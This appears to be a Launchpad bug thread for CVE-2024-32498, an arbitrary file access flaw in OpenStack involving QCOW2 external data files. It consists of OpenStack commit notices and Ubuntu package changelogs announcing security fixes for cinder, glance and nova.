    (cherry picked from commit af4d819c606d6662d0b086365a51f5220b596e48)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/glance/+/923574
Committed: https://opendev.org/openstack/glance/commit/b5b29a0ae15d44424f04db0686328d0a01a14853
Submitter: "Zuul (22348)"
Branch: stable/2024.1

commit b5b29a0ae15d44424f04db0686328d0a01a14853
Author: Pranali Deore <email address hidden>
Date: Thu Jul 4 09:59:18 2024 +0000

    Add releasenote for CVE-2024-32498 fix

    Related-Bug: #2059809
    Change-Id: I3259dd013ba5e3fefd0e172bf0e7cc502158c8db
    (cherry picked from commit 867d1dd8b6e4f5774257a98c7c33061fbbbde973)

[OpenStack Infra (hudson-openstack)]

This issue was fixed in the openstack/glance 29.0.0.0b2 development milestone.

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/glance/+/923575
Committed: https://opendev.org/openstack/glance/commit/835c89c711993c51aa8752d96b4c8effa1a97009
Submitter: "Zuul (22348)"
Branch: stable/2023.2

commit 835c89c711993c51aa8752d96b4c8effa1a97009
Author: Pranali Deore <email address hidden>
Date: Thu Jul 4 09:59:18 2024 +0000

    Add releasenote for CVE-2024-32498 fix

    Related-Bug: #2059809
    Change-Id: I3259dd013ba5e3fefd0e172bf0e7cc502158c8db
    (cherry picked from commit 867d1dd8b6e4f5774257a98c7c33061fbbbde973)
    (cherry picked from commit b5b29a0ae15d44424f04db0686328d0a01a14853)

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2023.1
Review: https://review.opendev.org/c/openstack/glance/+/923630

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/glance/+/923630
Committed: https://opendev.org/openstack/glance/commit/edd75b70a4541c5dd89715a75ad565692dca2efa
Submitter: "Zuul (22348)"
Branch: stable/2023.1

commit edd75b70a4541c5dd89715a75ad565692dca2efa
Author: Pranali Deore <email address hidden>
Date: Thu Jul 4 09:59:18 2024 +0000

    Add releasenote for CVE-2024-32498 fix

    Related-Bug: #2059809
    Change-Id: I3259dd013ba5e3fefd0e172bf0e7cc502158c8db
    (cherry picked from commit 867d1dd8b6e4f5774257a98c7c33061fbbbde973)
    (cherry picked from commit b5b29a0ae15d44424f04db0686328d0a01a14853)
    (cherry picked from commit 835c89c711993c51aa8752d96b4c8effa1a97009)

[James Page (james-page)]

The verification of the Stable Release Update for cinder has completed successfully and the package has now been released to -updates. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions.

[James Page (james-page)]

This bug was fixed in the package cinder - 2:24.0.0-0ubuntu1.2~cloud0
---------------

 cinder (2:24.0.0-0ubuntu1.2~cloud0) jammy; urgency=medium
 .
   * SECURITY UPDATE for Ubuntu Cloud Archive. backport to jammy.
 .
 cinder (2:24.0.0-0ubuntu1.2) noble-security; urgency=medium
 .
   * SECURITY UPDATE: Arbitrary file access via custom QCOW2 external data
     (LP: #2059809)
     - debian/patches/CVE-2024-32498.patch: check for external qcow2 data
       file.
     - debian/control: added qemu-utils to Build-Depends so qemu-img is
       available for new tests.
     - CVE-2024-32498
 .
 cinder (2:24.0.0-0ubuntu1) noble; urgency=medium
 .
   * New upstream release for OpenStack Caracal.
 .
 cinder (2:24.0.0~rc1-0ubuntu1) noble; urgency=medium
 .
   * d/watch: Track Caracal series releases.
   * New upstream release candidate for OpenStack Caracal.
   * d/p/*: Refresh.
   * d/control: Align (Build-)Depends with upstream RC.
 .
 cinder (2:23.0.0+git2024011915.b8cd101f-0ubuntu2) noble; urgency=medium
 .
   * d/tests/control: Add rabbitmq-server to Depends.
 .
 cinder (2:23.0.0+git2024011915.b8cd101f-0ubuntu1) noble; urgency=medium
 .
   * New upstream snapshot for OpenStack Caracal.
 .
 cinder (2:23.0.0-0ubuntu3) noble; urgency=medium
 .
   [ Mauricio Faria de Oliveira ]
   * d/p/py312-tests-mock-assert.patch: Add prefix assert_
     to mock object assertions missing it (stricter in 3.12).
 .
   [ Corey Bryant ]
   * d/control: Update min version of python3-taskflow to
     ensure it supports Python 3.12.
 .
 cinder (2:23.0.0-0ubuntu2) noble; urgency=medium
 .
   [ Corey Bryant ]
   * d/gbp.conf, .launchpad.yaml: Sync from cloud-archive-tools for
     caracal.
   * d/control: set min version of openstack-pkg-tools to ensure
     Should-Start/Stop is fixed.
 .
   [ Mauricio Faria de Oliveira ]
   * d/cinder-volume.init.in: add tgt to Should-Start/Stop (LP: #1987663)
     Requires rebuild to pick up openstack-pkg-tools 123ubuntu2 in noble.
 .
 cinder (2:23.0.0-0ubuntu1) mantic; urgency=medium
 .
   * New upstream release for OpenStack Bobcat.
 .
 cinder (2:23.0.0~rc1-0ubuntu1) mantic; urgency=medium
 .
   * New upstream release candidate for OpenStack Bobcat.
 .
 cinder (2:22.1.0+git2023090509.f79048d2-0ubuntu1) mantic; urgency=medium
 .
   * New upstream snapshot for OpenStack Bobcat.
   * d/p/install-missing-db-files.patch: Install missing db files, including
     cinder/db/alembic.ini.
 .
 cinder (2:22.1.0+git2023071214.c1a18fcd-0ubuntu1) mantic; urgency=medium
 .
   * d/gbp.conf, .launchpad.yaml: Sync from cloud-archive-tools for
     bobcat.
   * New upstream snapshot for OpenStack Bobcat.
   * d/control: Align (Build-)Depends with upstream.
   * d/p/skip-mock-spec-failures.patch: Dropped. No longer needed.
   * d/p/CVE-2023-2088-*.patch: Dropped. Fixed in snapshot.
 .
 cinder (2:22.0.0-0ubuntu4) mantic; urgency=medium
 .
   * SECURITY UPDATE: Unauthorized File Access (LP: #2021980)
     - debian/patches/CVE-2023-2088-1.patch: Reject unsafe delete
       attachment calls.
     - debian/patches/CVE-2023-2088-2.patch: Doc: Improve service token.
     - CVE-2023-2088
 .
 cinder (2:22.0.0-0ubuntu3) mantic; urgency=medium
 .
   * SECURITY REGRESSI...

[James Page (james-page)]

The verification of the Stable Release Update for cinder has completed successfully and the package has now been released to -updates. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions.

[James Page (james-page)]

This bug was fixed in the package cinder - 2:24.0.0-0ubuntu1.2~cloud0
---------------

 cinder (2:24.0.0-0ubuntu1.2~cloud0) jammy; urgency=medium
 .
   * SECURITY UPDATE for Ubuntu Cloud Archive. backport to jammy.
 .
 cinder (2:24.0.0-0ubuntu1.2) noble-security; urgency=medium
 .
   * SECURITY UPDATE: Arbitrary file access via custom QCOW2 external data
     (LP: #2059809)
     - debian/patches/CVE-2024-32498.patch: check for external qcow2 data
       file.
     - debian/control: added qemu-utils to Build-Depends so qemu-img is
       available for new tests.
     - CVE-2024-32498
 .
 cinder (2:24.0.0-0ubuntu1) noble; urgency=medium
 .
   * New upstream release for OpenStack Caracal.
 .
 cinder (2:24.0.0~rc1-0ubuntu1) noble; urgency=medium
 .
   * d/watch: Track Caracal series releases.
   * New upstream release candidate for OpenStack Caracal.
   * d/p/*: Refresh.
   * d/control: Align (Build-)Depends with upstream RC.
 .
 cinder (2:23.0.0+git2024011915.b8cd101f-0ubuntu2) noble; urgency=medium
 .
   * d/tests/control: Add rabbitmq-server to Depends.
 .
 cinder (2:23.0.0+git2024011915.b8cd101f-0ubuntu1) noble; urgency=medium
 .
   * New upstream snapshot for OpenStack Caracal.
 .
 cinder (2:23.0.0-0ubuntu3) noble; urgency=medium
 .
   [ Mauricio Faria de Oliveira ]
   * d/p/py312-tests-mock-assert.patch: Add prefix assert_
     to mock object assertions missing it (stricter in 3.12).
 .
   [ Corey Bryant ]
   * d/control: Update min version of python3-taskflow to
     ensure it supports Python 3.12.
 .
 cinder (2:23.0.0-0ubuntu2) noble; urgency=medium
 .
   [ Corey Bryant ]
   * d/gbp.conf, .launchpad.yaml: Sync from cloud-archive-tools for
     caracal.
   * d/control: set min version of openstack-pkg-tools to ensure
     Should-Start/Stop is fixed.
 .
   [ Mauricio Faria de Oliveira ]
   * d/cinder-volume.init.in: add tgt to Should-Start/Stop (LP: #1987663)
     Requires rebuild to pick up openstack-pkg-tools 123ubuntu2 in noble.
 .
 cinder (2:23.0.0-0ubuntu1) mantic; urgency=medium
 .
   * New upstream release for OpenStack Bobcat.
 .
 cinder (2:23.0.0~rc1-0ubuntu1) mantic; urgency=medium
 .
   * New upstream release candidate for OpenStack Bobcat.
 .
 cinder (2:22.1.0+git2023090509.f79048d2-0ubuntu1) mantic; urgency=medium
 .
   * New upstream snapshot for OpenStack Bobcat.
   * d/p/install-missing-db-files.patch: Install missing db files, including
     cinder/db/alembic.ini.
 .
 cinder (2:22.1.0+git2023071214.c1a18fcd-0ubuntu1) mantic; urgency=medium
 .
   * d/gbp.conf, .launchpad.yaml: Sync from cloud-archive-tools for
     bobcat.
   * New upstream snapshot for OpenStack Bobcat.
   * d/control: Align (Build-)Depends with upstream.
   * d/p/skip-mock-spec-failures.patch: Dropped. No longer needed.
   * d/p/CVE-2023-2088-*.patch: Dropped. Fixed in snapshot.
 .
 cinder (2:22.0.0-0ubuntu4) mantic; urgency=medium
 .
   * SECURITY UPDATE: Unauthorized File Access (LP: #2021980)
     - debian/patches/CVE-2023-2088-1.patch: Reject unsafe delete
       attachment calls.
     - debian/patches/CVE-2023-2088-2.patch: Doc: Improve service token.
     - CVE-2023-2088
 .
 cinder (2:22.0.0-0ubuntu3) mantic; urgency=medium
 .
   * SECURITY REGRESSI...

[James Page (james-page)]

The verification of the Stable Release Update for glance has completed successfully and the package has now been released to -updates. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions.

[James Page (james-page)]

This bug was fixed in the package glance - 2:28.0.1-0ubuntu1.2~cloud0
---------------

 glance (2:28.0.1-0ubuntu1.2~cloud0) jammy; urgency=medium
 .
   * SECURITY UPDATE for Ubuntu Cloud Archive. backport to jammy.
 .
 glance (2:28.0.1-0ubuntu1.2) noble-security; urgency=medium
 .
   * SECURITY UPDATE: Arbitrary file access via custom QCOW2 external data
     (LP: #2059809)
     - debian/patches/CVE-2024-32498-1.patch: reject qcow files with
       data-file attributes.
     - debian/patches/CVE-2024-32498-2.patch: extend format_inspector for
       QCOW safety.
     - debian/patches/CVE-2024-32498-3.patch: add VMDK safety check.
     - debian/patches/CVE-2024-32498-4.patch: reject unsafe qcow and vmdk
       files.
     - debian/patches/CVE-2024-32498-5.patch: add QED format detection to
       format_inspector.
     - debian/patches/CVE-2024-32498-6.patch: add file format detection to
       format_inspector.
     - debian/patches/CVE-2024-32498-7.patch: add safety check and detection
       support to FI tool.
     - CVE-2024-32498
 .
 glance (2:28.0.1-0ubuntu1) noble; urgency=medium
 .
   * New upstream release for OpenStack Caracal.
 .
 glance (2:28.0.0~rc1-0ubuntu1) noble; urgency=medium
 .
   [ James Page ]
   * d/watch: Track Caracal series releases.
 .
   [ Jadon Naas ]
   * New upstream release candidate for OpenStack Caracal.
 .
 glance (2:28.0.0~b2+git2024011916.f429b53e-0ubuntu1) noble; urgency=medium
 .
   [ Corey Bryant ]
   * d/gbp.conf, .launchpad.yaml: Sync from cloud-archive-tools for
     caracal.
 .
   [ James Page ]
   * New upstream snapshot for OpenStack Caracal.
   * d/control: Align (Build-)Depends with upstream.
   * d/control: Drop ancient Python-Version field.
 .
 glance (2:27.0.0-0ubuntu1) mantic; urgency=medium
 .
   * New upstream release for OpenStack Bobcat.
 .
 glance (2:27.0.0~b2+git2023090714.b059c898-0ubuntu1) mantic; urgency=medium
 .
   * New upstream snapshot for OpenStack Bobcat.
   * d/p/install-missing-db-files.patch: Install missing db files, including
     glance/db/sqlalchemy/alembic_migrations/alembic.ini.
 .
 glance (2:27.0.0~b1+git2023071214.b350184f-0ubuntu1) mantic; urgency=medium
 .
   * New upstream snapshot for OpenStack Bobcat.
   * d/control: Align (Build-)Depends with upstream.
 .
 glance (2:27.0.0~b1+git2023061414.43b2116a-0ubuntu1) mantic; urgency=medium
 .
   * d/gbp.conf, .launchpad.yaml: Sync from cloud-archive-tools for
     bobcat.
   * New upstream snapshot for OpenStack Bobcat.
 .
 glance (2:26.0.0-0ubuntu1) lunar; urgency=medium
 .
   * New upstream release for OpenStack Antelope.
 .
 glance (2:26.0.0~b3+git2023030211.f0371614-0ubuntu2) lunar; urgency=medium
 .
   * d/t/glance-daemons: Bump sleep to 0.5
 .
 glance (2:26.0.0~b3+git2023030211.f0371614-0ubuntu1) lunar; urgency=medium
 .
   * d/watch: Drop major version.
   * New upstream snapshot for OpenStack Antelope.
   * d/control: Align (Build-)Depends with upstream.
   * d/p/add-root-tar-support.patch: Rebased.
 .
 glance (2:26.0.0~b2+git2023012815.907c5626-0ubuntu1) lunar; urgency=medium
 .
   * New upstream snapshot for OpenStack Antelope.
 .
 glance (2:26.0.0~b2+git2023011009.e9b40e13-0ubuntu1) lunar; urgency=medium
 ....

[James Page (james-page)]

The verification of the Stable Release Update for nova has completed successfully and the package has now been released to -updates. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions.

[James Page (james-page)]

This bug was fixed in the package nova - 3:29.0.1-0ubuntu1.3~cloud0
---------------

 nova (3:29.0.1-0ubuntu1.3~cloud0) jammy; urgency=medium
 .
   * SECURITY UPDATE for Ubuntu Cloud Archive. backport to jammy.
 .
 nova (3:29.0.1-0ubuntu1.3) noble-security; urgency=medium
 .
   * SECURITY UPDATE: Arbitrary file access via custom QCOW2 external data
     (LP: #2059809)
     - debian/patches/CVE-2024-32498-1.patch: reject qcow files with
       data-file attributes.
     - debian/patches/CVE-2024-32498-2.patch: check images with
       format_inspector for safety.
     - debian/patches/CVE-2024-32498-3.patch: additional qemu safety
       checking on base images.
     - debian/patches/CVE-2024-32498-4.patch: fix vmdk_allowed_types
       checking.
     - CVE-2024-32498
 .
 nova (3:29.0.1-0ubuntu1) noble; urgency=medium
 .
   * New upstream release for OpenStack Caracal.
 .
 nova (3:29.0.0~rc1-0ubuntu2) noble; urgency=medium
 .
   * d/control: Drop os-xenapi from (Build-)Depends.
   * d/control: Drop os-win from (Build-)Depends.
 .
 nova (3:29.0.0~rc1-0ubuntu1) noble; urgency=medium
 .
   * New upstream release candidate for OpenStack Caracal.
   * d/p/*: Refresh.
   * d/p/drop-actdiag.patch: Drop, no longer needed.
   * d/exclude-list.txt,rules: Skip two tests that fail due to missing
     patching that breaks under Python >= 3.12.
 .
 nova (3:28.0.1+git2024011916.087c372a-0ubuntu2) noble; urgency=medium
 .
   * d/control: Drop python3-pypowervm from (Build-)Depends as this driver
     was removed from Nova.
 .
 nova (3:28.0.1+git2024011916.087c372a-0ubuntu1) noble; urgency=medium
 .
   [ Corey Bryant ]
   * d/gbp.conf, .launchpad.yaml: Sync from cloud-archive-tools for
     caracal.
 .
   [ James Page ]
   * New upstream snapshot for OpenStack Caracal.
   * d/control: Align (Build-)Depends with upstream.
   * d/p/*: Refresh patches
   * d/rules: Use --exclude-regex with stestr run.
   * d/p/test-hacking-compat.patch: Fix syntax error in hacking test
     code.
   * d/patches/oslo.versionedobjects-compat.patch: Use OsloOrderedDict
     when adding extra data to version information.
   * d/control: Priority extra->optional.
   * d/source_nova.py: use python3.
   * d/control,rules: Use dh_sphinxdoc to tidy generated documentation.
   * d/nova-compute-kvm.postinst: Restore missing interpreter.
   * d/control: Add Pre-Depends to ensure full systemd init.d compat.
   * d/control: Add Depends on adduser for nova-compute-{kvm,qemu}.
 .
 nova (3:28.0.0-0ubuntu1) mantic; urgency=medium
 .
   * New upstream release for OpenStack Bobcat.
 .
 nova (3:27.1.0+git2023090509.82a17a37-0ubuntu1) mantic; urgency=medium
 .
   * New upstream snapshot for OpenStack Bobcat.
   * d/control: Align (Build-)Depends with upstream.
   * d/p/drop-actdiag.patch: Temporarily drop actdiag until bug fixed upstream.
   * d/p/install-missing-db-files.patch: Install missing db files, including
     nova/db/api/alembic.ini and nova/db/main/alembic.ini.
 .
 nova (3:27.1.0+git2023071215.f7ce4df5-0ubuntu1) mantic; urgency=medium
 .
   * d/gbp.conf, .launchpad.yaml: Sync from cloud-archive-tools for
     bobcat.
   * d/p/skip-if-https-proxy.patch: Test skipped if https-proxy is set
  ...

[James Page (james-page)]

The verification of the Stable Release Update for cinder has completed successfully and the package has now been released to -updates. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions.

[James Page (james-page)]

This bug was fixed in the package cinder - 2:23.0.0-0ubuntu1.4~cloud0
---------------

 cinder (2:23.0.0-0ubuntu1.4~cloud0) jammy; urgency=medium
 .
   * SECURITY UPDATE for Ubuntu Cloud Archive. backport to jammy.
 .
 cinder (2:23.0.0-0ubuntu1.4) mantic-security; urgency=medium
 .
   * SECURITY UPDATE: Arbitrary file access via custom QCOW2 external data
     (LP: #2059809)
     - debian/patches/CVE-2024-32498.patch: check for external qcow2 data
       file.
     - debian/control: added qemu-utils to Build-Depends so qemu-img is
       available for new tests.
     - CVE-2024-32498
 .
 cinder (2:23.0.0-0ubuntu1.2) mantic; urgency=medium
 .
   [ Jorge Merlino ]
   * Increase size of volume image metadata values to 65535 bytes
     (LP: #1988942)
 .
   [ Heather Lemon ]
   * Start cinder-volume.service after tgt.service started (LP: #1987663)
     - d/cinder-volume.service.conf: drop-in with 'After=' and 'Wants='
       ('Wants=' is not generated by pkgos-gen-systemd-unit currently).
     - d/cinder-volume.install: ship the systemd service drop-in file.
 .
 cinder (2:23.0.0-0ubuntu1.1) mantic; urgency=medium
 .
   [ Corey Bryant ]
   * d/gbp.conf: Create stable/2023.2 branch.
   * d/gbp.conf, .launchpad.yaml: Sync from cloud-archive-tools for
     bobcat.
 .
   [ Edward Hope-Morley ]
   * revert driver assister volume retype (LP: #2019190)
     - d/p/0001-Revert-Driver-assisted-migration-on-retype-when-it-s.patch
 .
 cinder (2:23.0.0-0ubuntu1) mantic; urgency=medium
 .
   * New upstream release for OpenStack Bobcat.
 .
 cinder (2:23.0.0~rc1-0ubuntu1) mantic; urgency=medium
 .
   * New upstream release candidate for OpenStack Bobcat.
 .
 cinder (2:22.1.0+git2023090509.f79048d2-0ubuntu1) mantic; urgency=medium
 .
   * New upstream snapshot for OpenStack Bobcat.
   * d/p/install-missing-db-files.patch: Install missing db files, including
     cinder/db/alembic.ini.
 .
 cinder (2:22.1.0+git2023071214.c1a18fcd-0ubuntu1) mantic; urgency=medium
 .
   * d/gbp.conf, .launchpad.yaml: Sync from cloud-archive-tools for
     bobcat.
   * New upstream snapshot for OpenStack Bobcat.
   * d/control: Align (Build-)Depends with upstream.
   * d/p/skip-mock-spec-failures.patch: Dropped. No longer needed.
   * d/p/CVE-2023-2088-*.patch: Dropped. Fixed in snapshot.
 .
 cinder (2:22.0.0-0ubuntu4) mantic; urgency=medium
 .
   * SECURITY UPDATE: Unauthorized File Access (LP: #2021980)
     - debian/patches/CVE-2023-2088-1.patch: Reject unsafe delete
       attachment calls.
     - debian/patches/CVE-2023-2088-2.patch: Doc: Improve service token.
     - CVE-2023-2088
 .
 cinder (2:22.0.0-0ubuntu3) mantic; urgency=medium
 .
   * SECURITY REGRESSION: Regressions in other projects (LP: #2020111)
     - debian/patches/series: Do not apply CVE-2023-2088.patch until
       patches are ready for all upstream OpenStack projects.
     - CVE-2023-2088
 .
 cinder (2:22.0.0-0ubuntu2) mantic; urgency=medium
 .
   * SECURITY UPDATE: Unauthorized File Access
     - debian/patches/CVE-2023-2088.patch: Reject unsafe delete
       attachment calls.
     - CVE-2023-2088
 .
 cinder (2:22.0.0-0ubuntu1) lunar; urgency=medium
 .
   * New upstream release for OpenStack Antelope.
   * d/p/s...

[James Page (james-page)]

The verification of the Stable Release Update for glance has completed successfully and the package has now been released to -updates. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions.

[James Page (james-page)]

This bug was fixed in the package glance - 2:27.0.0-0ubuntu1.2~cloud0
---------------

 glance (2:27.0.0-0ubuntu1.2~cloud0) jammy; urgency=medium
 .
   * SECURITY UPDATE for Ubuntu Cloud Archive. backport to jammy.
 .
 glance (2:27.0.0-0ubuntu1.2) mantic-security; urgency=medium
 .
   * SECURITY UPDATE: Arbitrary file access via custom QCOW2 external data
     (LP: #2059809)
     - debian/patches/CVE-2024-32498-pre1.patch: support Stream Optimized
       VMDKs.
     - debian/patches/CVE-2024-32498-1.patch: reject qcow files with
       data-file attributes.
     - debian/patches/CVE-2024-32498-2.patch: extend format_inspector for
       QCOW safety.
     - debian/patches/CVE-2024-32498-3.patch: add VMDK safety check.
     - debian/patches/CVE-2024-32498-4.patch: reject unsafe qcow and vmdk
       files.
     - debian/patches/CVE-2024-32498-5.patch: add QED format detection to
       format_inspector.
     - debian/patches/CVE-2024-32498-6.patch: add file format detection to
       format_inspector.
     - debian/patches/CVE-2024-32498-7.patch: add safety check and detection
       support to FI tool.
     - CVE-2024-32498
 .
 glance (2:27.0.0-0ubuntu1) mantic; urgency=medium
 .
   * New upstream release for OpenStack Bobcat.
 .
 glance (2:27.0.0~b2+git2023090714.b059c898-0ubuntu1) mantic; urgency=medium
 .
   * New upstream snapshot for OpenStack Bobcat.
   * d/p/install-missing-db-files.patch: Install missing db files, including
     glance/db/sqlalchemy/alembic_migrations/alembic.ini.
 .
 glance (2:27.0.0~b1+git2023071214.b350184f-0ubuntu1) mantic; urgency=medium
 .
   * New upstream snapshot for OpenStack Bobcat.
   * d/control: Align (Build-)Depends with upstream.
 .
 glance (2:27.0.0~b1+git2023061414.43b2116a-0ubuntu1) mantic; urgency=medium
 .
   * d/gbp.conf, .launchpad.yaml: Sync from cloud-archive-tools for
     bobcat.
   * New upstream snapshot for OpenStack Bobcat.
 .
 glance (2:26.0.0-0ubuntu1) lunar; urgency=medium
 .
   * New upstream release for OpenStack Antelope.
 .
 glance (2:26.0.0~b3+git2023030211.f0371614-0ubuntu2) lunar; urgency=medium
 .
   * d/t/glance-daemons: Bump sleep to 0.5
 .
 glance (2:26.0.0~b3+git2023030211.f0371614-0ubuntu1) lunar; urgency=medium
 .
   * d/watch: Drop major version.
   * New upstream snapshot for OpenStack Antelope.
   * d/control: Align (Build-)Depends with upstream.
   * d/p/add-root-tar-support.patch: Rebased.
 .
 glance (2:26.0.0~b2+git2023012815.907c5626-0ubuntu1) lunar; urgency=medium
 .
   * New upstream snapshot for OpenStack Antelope.
 .
 glance (2:26.0.0~b2+git2023011009.e9b40e13-0ubuntu1) lunar; urgency=medium
 .
   * New upstream snapshot for OpenStack Antelope.
 .
 glance (2:25.0.0-0ubuntu1) kinetic; urgency=medium
 .
   * d/watch: Scope to 25.x.
   * New upstream release for OpenStack Zed.
 .
 glance (2:25.0.0~b3+git2022091212.d7db4e562-0ubuntu1) kinetic; urgency=medium
 .
   * New upstream snapshot for OpenStack Zed.

[James Page (james-page)]

The verification of the Stable Release Update for nova has completed successfully and the package has now been released to -updates. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions.

[James Page (james-page)]

This bug was fixed in the package nova - 3:28.0.1-0ubuntu1.3~cloud0
---------------

 nova (3:28.0.1-0ubuntu1.3~cloud0) jammy; urgency=medium
 .
   * SECURITY UPDATE for Ubuntu Cloud Archive. backport to jammy.
 .
 nova (3:28.0.1-0ubuntu1.3) mantic-security; urgency=medium
 .
   * SECURITY UPDATE: Arbitrary file access via custom QCOW2 external data
     (LP: #2059809)
     - debian/patches/CVE-2024-32498-1.patch: reject qcow files with
       data-file attributes.
     - debian/patches/CVE-2024-32498-2.patch: check images with
       format_inspector for safety.
     - debian/patches/CVE-2024-32498-3.patch: additional qemu safety
       checking on base images.
     - debian/patches/CVE-2024-32498-4.patch: fix vmdk_allowed_types
       checking.
     - CVE-2024-32498
 .
 nova (3:28.0.1-0ubuntu1) mantic; urgency=medium
 .
   * d/gbp.conf: Create stable/2023.2 branch.
   * d/gbp.conf, .launchpad.yaml: Sync from cloud-archive-tools for
     bobcat.
   * New stable point release for OpenStack Bobcat (LP: #2046359).
 .
 nova (3:28.0.0-0ubuntu1) mantic; urgency=medium
 .
   * New upstream release for OpenStack Bobcat.
 .
 nova (3:27.1.0+git2023090509.82a17a37-0ubuntu1) mantic; urgency=medium
 .
   * New upstream snapshot for OpenStack Bobcat.
   * d/control: Align (Build-)Depends with upstream.
   * d/p/drop-actdiag.patch: Temporarily drop actdiag until bug fixed upstream.
   * d/p/install-missing-db-files.patch: Install missing db files, including
     nova/db/api/alembic.ini and nova/db/main/alembic.ini.
 .
 nova (3:27.1.0+git2023071215.f7ce4df5-0ubuntu1) mantic; urgency=medium
 .
   * d/gbp.conf, .launchpad.yaml: Sync from cloud-archive-tools for
     bobcat.
   * d/p/skip-if-https-proxy.patch: Test skipped if https-proxy is set
     as lpci builds in .launchpad.yaml do.
   * New upstream snapshot for OpenStack Bobcat.
   * d/p/CVE-2023-2088-*.patch: Dropped. Fixed in snapshot.
 .
 nova (3:27.0.0-0ubuntu4) mantic; urgency=medium
 .
   * SECURITY UPDATE: Unauthorized File Access (LP: #2021980)
     - debian/patches/CVE-2023-2088-1.patch: Use force=True for os-brick
       disconnect during delete.
     - debian/patches/CVE-2023-2088-2.patch: Enable use of service user
       token with admin context.
     - CVE-2023-2088
 .
 nova (3:27.0.0-0ubuntu3) mantic; urgency=medium
 .
   * SECURITY REGRESSION: Regressions in other projects (LP: #2020111)
     - debian/patches/series: Do not apply CVE-2023-2088.patch until
       patches are ready for all upstream OpenStack projects.
     - CVE-2023-2088
 .
 nova (3:27.0.0-0ubuntu2) mantic; urgency=medium
 .
   * SECURITY UPDATE: Unauthorized File Access
     - debian/patches/CVE-2023-2088.patch: Use force=True for os-brick
       disconnect during delete.
     - CVE-2023-2088
 .
 nova (3:27.0.0-0ubuntu1) lunar; urgency=medium
 .
   * New upstream release for OpenStack Antelope.
 .
 nova (3:26.1.0+git2023030309.59f7a524-0ubuntu2) lunar; urgency=medium
 .
   * d/nova-compute-qemu.postinst: Add nova user to kvm group (LP: #2011535).
 .
 nova (3:26.1.0+git2023030309.59f7a524-0ubuntu1) lunar; urgency=medium
 .
   * d/watch: Drop major version.
   * New upstream snapshot for OpenStack Antelope.
 .
 nova (3:26....

[James Page (james-page)]

The verification of the Stable Release Update for cinder has completed successfully and the package has now been released to -updates. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions.

[James Page (james-page)]

This bug was fixed in the package cinder - 2:22.1.1-0ubuntu1.3~cloud0
---------------

 cinder (2:22.1.1-0ubuntu1.3~cloud0) jammy; urgency=medium
 .
   * SECURITY UPDATE: Arbitrary file access via custom QCOW2 external data
     (LP: #2059809)
     - debian/patches/CVE-2024-32498.patch: check for external qcow2 data
       file in cinder/image/image_utils.py,
       cinder/tests/unit/test_image_utils.py.
     - debian/control: added qemu-utils to Build-Depends so qemu-img is
       available for new tests.
     - CVE-2024-32498

[James Page (james-page)]

The verification of the Stable Release Update for glance has completed successfully and the package has now been released to -updates. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions.

[James Page (james-page)]

This bug was fixed in the package glance - 2:26.0.0-0ubuntu1.2~cloud0
---------------

 glance (2:26.0.0-0ubuntu1.2~cloud0) jammy; urgency=medium
 .
   [ James Page ]
   * SECURITY UPDATE: Arbitrary file access via custom QCOW2 external data
     (LP: #2059809)
     - debian/patches/CVE-2024-32498-pre1.patch: support Stream Optimized
       VMDKs in glance/common/format_inspector.py,
       glance/tests/unit/common/test_format_inspector.py.
     - debian/patches/CVE-2024-32498-1.patch: reject qcow files with
       data-file attributes.
     - debian/patches/CVE-2024-32498-2.patch: extend format_inspector for
       QCOW safety.
     - debian/patches/CVE-2024-32498-3.patch: add VMDK safety check.
     - debian/patches/CVE-2024-32498-4.patch: reject unsafe qcow and vmdk
       files.
     - debian/patches/CVE-2024-32498-5.patch: add QED format detection to
       format_inspector.
     - debian/patches/CVE-2024-32498-6.patch: add file format detection to
       format_inspector.
     - debian/patches/CVE-2024-32498-7.patch: add safety check and detection
       support to FI tool.
     - CVE-2024-32498
 .
   [ Corey Bryant ]
   * d/gbp.conf: Create stable/2023.1 branch.

[James Page (james-page)]

The verification of the Stable Release Update for nova has completed successfully and the package has now been released to -updates. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions.

[James Page (james-page)]

This bug was fixed in the package nova - 3:27.1.0-0ubuntu1.2~cloud0
---------------

 nova (3:27.1.0-0ubuntu1.2~cloud0) jammy; urgency=medium
 .
   * SECURITY UPDATE: Arbitrary file access via custom QCOW2 external data
     (LP: #2059809)
     - debian/patches/CVE-2024-32498-1.patch: reject qcow files with
       data-file attributes.
     - debian/patches/CVE-2024-32498-2.patch: check images with
       format_inspector for safety.
     - debian/patches/CVE-2024-32498-3.patch: additional qemu safety
       checking on base images.
     - debian/patches/CVE-2024-32498-4.patch: fix vmdk_allowed_types
       checking.
     - CVE-2024-32498

[James Page (james-page)]

The verification of the Stable Release Update for cinder has completed successfully and the package has now been released to -updates. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions.

[James Page (james-page)]

This bug was fixed in the package cinder - 2:20.3.1-0ubuntu1.4~cloud0
---------------

 cinder (2:20.3.1-0ubuntu1.4~cloud0) focal; urgency=medium
 .
   * SECURITY UPDATE for Ubuntu Cloud Archive. backport to focal.
 .
 cinder (2:20.3.1-0ubuntu1.4) jammy-security; urgency=medium
 .
   * SECURITY UPDATE: Arbitrary file access via custom QCOW2 external data
     (LP: #2059809)
     - debian/patches/CVE-2024-32498.patch: check for external qcow2 data
       file.
     - debian/control: added qemu-utils to Build-Depends so qemu-img is
